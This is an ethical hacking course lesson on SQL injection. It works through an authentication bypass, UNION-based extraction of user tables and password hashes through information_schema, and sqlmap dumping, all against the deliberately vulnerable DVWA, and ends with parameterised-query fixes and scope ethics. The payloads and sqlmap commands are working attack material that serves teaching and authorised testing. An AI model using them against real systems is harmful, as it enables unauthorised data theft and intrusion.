Ethical Hacking Lesson 38 – SQL Injection | Dataplexa
Web Hacking & Real World · Lesson 38

SQL Injection

SQL injection has been in the OWASP Top 10 since the list was created. Databases power almost every web application. When user input is inserted directly into a database query without being treated as data, the attacker controls the query itself — and through it, the entire database.

The mechanics of SQL injection

A web application talks to its database by constructing SQL queries and sending them for execution. A login form might build its query like this:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

The application takes whatever the user types into the username field and places it directly into that query string. If the user types admin' -- as their username, the query becomes:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'

The single quote closes the username string. The double dash comments out everything after it — including the password check. The database executes the query as if only the username condition existed. If admin is a valid user, the query returns their record and the application logs in as admin without any password verification. This is SQL injection at its most basic — the attacker broke out of the data context (the string value) and modified the query structure itself.

Testing for SQL injection manually

Manual testing confirms the vulnerability exists and builds an understanding of the database structure before reaching for automated tools. Burp Suite Repeater is the right environment — capture a request, modify the parameter, send it, and read the response. The goal of the manual phase is to confirm injection, identify the database type, and understand the query structure.

The scenario: The DVWA login form on Metasploitable is running with its security level set to low. You have intercepted the POST request in Burp and are testing the username parameter for SQL injection using Burp Repeater.

# Step 1 — basic injection test: the single quote
# A single quote breaks the SQL string context
# If the application returns a database error, SQL injection is likely present
# If the application returns the same page as a normal failed login — not injectable here
username=admin'

# Step 2 — confirm with a true condition
# The OR 1=1 makes the WHERE clause always evaluate to true
# If the response shows all users (or logs in as the first user in the table)
# injection is confirmed — the boolean logic was interpreted by the database
username=admin' OR 1=1 --
password=anything

# Step 3 — identify the database type
# Different databases use different syntax for version queries
# MySQL/MariaDB: VERSION()
# Microsoft SQL Server: @@VERSION
# PostgreSQL: version()
# Oracle: v$version
# Inject into the username field and observe the error message for clues
username=admin' AND 1=CONVERT(int, @@VERSION) --

# Step 4 — find the number of columns in the current query
# ORDER BY increments the column number until the query throws an error
# When ORDER BY 4 errors but ORDER BY 3 succeeds — query has 3 columns
username=admin' ORDER BY 1 --
username=admin' ORDER BY 2 --
username=admin' ORDER BY 3 --
username=admin' ORDER BY 4 --   # <-- if this errors, 3 columns confirmed

Breaking it down:

Database error from a single quote — confirmed injection point
The MySQL error message in the response reveals the backend database type (MySQL), confirms the parameter is directly inserted into the query without sanitisation, and shows exactly where the input appears in the query syntax. Verbose database errors are both a security misconfiguration (A05) and the pen tester's best friend — they provide the information needed to craft precise payloads.
OR 1=1 — authentication bypass via boolean injection
The WHERE clause now reads: username equals 'admin' OR (always true). A true OR condition makes the entire clause true regardless of the username check. The database returns all users. The application logs in as the first user in the result set — which is often admin. The double dash comments out the password check entirely. No valid password was supplied at any point.
Column counting with ORDER BY
Knowing the number of columns in the query is essential for UNION-based injection — where the attacker appends a second SELECT to extract data from other tables. UNION requires both queries to return the same number of columns. ORDER BY probes this without needing to guess column names — it references by position and errors when the position exceeds the actual column count.

UNION injection — extracting data from other tables

Once the column count is known, UNION injection appends a second SELECT statement to the original query and uses it to read data from any table in the database — not just the one the application intended. The injected SELECT returns its results alongside the original query's results. The application displays both — revealing data it was never designed to expose.

# UNION injection — extract data from other tables
# Requires knowing the column count (3 from the ORDER BY test above)
# NULL placeholders fill columns we are not reading — matching data types

# Step 1 — find which columns are displayed in the response
# Replace NULLs one at a time with a visible string to see which position appears
username=admin' UNION SELECT 'INJECT1','INJECT2','INJECT3' --

# Step 2 — extract the current database name and MySQL version
# database() returns the name of the currently selected database
# @@version returns the MySQL server version string
username=admin' UNION SELECT database(),@@version,NULL --

# Step 3 — enumerate all tables in the current database
# information_schema.tables is a system table listing every table in every database
# table_schema filters to just the current database tables
username=admin' UNION SELECT table_name,NULL,NULL
  FROM information_schema.tables
  WHERE table_schema=database() --

# Step 4 — extract column names from the users table
username=admin' UNION SELECT column_name,NULL,NULL
  FROM information_schema.columns
  WHERE table_name='users' --

# Step 5 — extract the actual user data
# Concatenate username and password into one column using CONCAT
username=admin' UNION SELECT CONCAT(user,':',password),NULL,NULL
  FROM users --

Breaking it down:

information_schema — the database's own directory
MySQL maintains a built-in database called information_schema that contains metadata about every other database — table names, column names, data types, and relationships. Accessing information_schema through injection gives the attacker a complete map of the database structure without guessing any table or column names. Every MySQL database has it. PostgreSQL has pg_catalog. SQL Server has sys.tables. This is the standard enumeration path in any SQL injection assessment.
MD5 hashes in the password column
The extracted passwords are MD5 hashes — 5f4dcc3b5aa765d61d8327deb882cf99 is the MD5 of "password." These can be cracked offline using hashcat in mode 0 (MD5) with rockyou.txt — exactly as covered in Lesson 21. SQL injection extracted the hash. Offline cracking reveals the plaintext. The chain of techniques across lessons connects here: reconnaissance identified the service, injection extracted credentials, and hash cracking reveals the plaintext.

Automated extraction with sqlmap

Manual injection builds the understanding needed to interpret results and handle unusual cases. sqlmap automates the enumeration process — detecting the injection point, identifying the database type, and extracting data without manual payload construction. It handles dozens of injection techniques including boolean-based blind injection (where no data is returned directly), time-based blind injection (where the database delays responses to signal true/false), and out-of-band techniques.

sqlmap is included on Kali. The key is giving it enough context about the request — which parameter to test, what the request method is, and whether authentication cookies are needed. On a login form, capture the POST request in Burp first, save it to a file, and point sqlmap at the file — this ensures sqlmap tests the exact request the application expects.

# Run sqlmap using a saved Burp request file
# Save the raw HTTP request from Burp by right-clicking → Save item
# Then point sqlmap at the saved file with -r

# -r  read the request from a file (includes all headers and POST body)
# -p  the specific parameter to test (username in this case)
# --dbs  enumerate all accessible databases
# --level 5  increases the depth of injection tests (1=fast, 5=thorough)
# --risk 3  increases the risk level of tests (use carefully on production)
sqlmap -r /tmp/dvwa_login.txt -p username --dbs

# Once the database name is known — enumerate its tables
# -D dvwa  target the dvwa database specifically
# --tables  list all tables in that database
sqlmap -r /tmp/dvwa_login.txt -p username -D dvwa --tables

# Dump the contents of the users table
# -T users  target the users table
# --dump  extract all rows from the table
# --batch  accept all default prompts without interactive confirmation
sqlmap -r /tmp/dvwa_login.txt -p username \
  -D dvwa -T users --dump --batch

Breaking it down:

sqlmap identified three injection types simultaneously
sqlmap found boolean-based blind, error-based, and UNION query injection all in the same parameter. Each technique works differently — error-based extracts data through database error messages, boolean-based infers data one bit at a time by observing true/false response differences, and UNION returns data directly. sqlmap automatically selects the most efficient technique for each extraction task. Understanding all three helps interpret what sqlmap is doing and why it chooses a particular approach.
--batch — non-interactive mode for reporting
By default sqlmap pauses frequently to ask whether to continue with riskier tests. On an authorised engagement where you want to capture the full output for the report, --batch accepts all defaults automatically and lets the tool run to completion. Always document the exact sqlmap command used — the flags tell the client and any auditor exactly what was tested and at what risk level.

The fix — parameterised queries eliminate SQL injection entirely

SQL injection exists because the application mixes query structure and data in the same string. The fix separates them permanently — using parameterised queries (also called prepared statements) where the query structure is defined first and the user input is bound as a typed parameter afterwards. The database treats the parameter as pure data regardless of its content. No SQL syntax in the input can ever affect the query structure.

Vulnerable — string concatenation

# PHP — do not do this
$sql = "SELECT * FROM users
  WHERE username = '"
  . $username . "'";

# User input directly in query
# Single quote breaks the string
# Injection is trivially possible

Secure — parameterised query

# PHP PDO — correct approach
$stmt = $pdo->prepare(
  "SELECT * FROM users
  WHERE username = ?"
);
$stmt->execute([$username]);

# Query structure fixed at prepare()
# Input bound as typed data
# SQL syntax in input has no effect

Parameterised queries are not a mitigation — they are a complete elimination of the vulnerability class. If every database query in an application uses parameterised queries, SQL injection cannot exist in that application. Input validation, escaping, and WAF rules all reduce risk but none of them is as reliable as parameterised queries. The remediation recommendation in a pen test report for any SQL injection finding is always the same: refactor to use parameterised queries or a safe ORM abstraction. No other recommendation is sufficient.

Beyond the database — escalating from SQL injection

Extracting credentials and reading database tables is the expected impact of SQL injection. But depending on the database configuration and privilege level, SQL injection can escalate considerably further — into operating system command execution on the server itself.

MySQL's LOAD_FILE() function reads files from the server's filesystem if the database user has the FILE privilege. SELECT ... INTO OUTFILE writes query results to a file on the server — a path within the web root turns it into a web shell. Microsoft SQL Server's xp_cmdshell stored procedure executes operating system commands directly. sqlmap's --os-shell flag attempts all of these automatically and returns an interactive shell if successful.

SQL injection scope considerations

Data extracted from a database during SQL injection testing must be treated with the same care as any other sensitive data encountered during an engagement. If the users table contains real customer records — names, email addresses, payment data — that data does not leave the engagement. It is documented as evidence of exploitability (showing column names and row counts is sufficient) without extracting and retaining actual customer records. The scope of what sqlmap extracts with --dump should be limited to what is necessary to demonstrate the vulnerability. Extracting and retaining an entire customer database during a pen test creates legal and ethical obligations that the engagement contract must address in advance.

Teacher's Note: The PortSwigger Web Security Academy has an excellent SQL injection learning path at portswigger.net/web-security/sql-injection — fourteen free labs covering in-band, blind, and out-of-band injection across different database platforms. Working through these before client engagements builds the pattern recognition needed to spot injection points quickly. The difference between a tester who runs sqlmap and one who understands the technique manually is visible in every report they write.

Quiz

Scenario:

A pen tester submits admin' -- as the username on a login form with any string as the password. The application logs them in as admin. The developer reviewing the finding cannot understand how the login succeeded without a valid password. Explain precisely what SQL syntax change occurred in the backend query.

Scenario:

A pen test report identifies SQL injection in a PHP application's search function. The development team proposes three remediation options: adding a WAF rule to block single quotes in requests, escaping all special characters in user input before inserting into the query, and refactoring the search function to use PDO prepared statements. The pen tester recommends only one of these as a complete fix. Which one and why?

Scenario:

A pen tester confirms SQL injection on a production e-commerce application and uses sqlmap --dump to extract the users table. The output contains 50,000 rows with real customer names, email addresses, and hashed payment card tokens. They want to include the output in their report as evidence. What is the correct approach to documenting this finding?

Up Next · Lesson 39

Cross-Site Scripting (XSS)

Reflected, stored, and DOM-based XSS — injecting JavaScript into web pages, stealing session cookies, and understanding the browser trust model that makes XSS so impactful.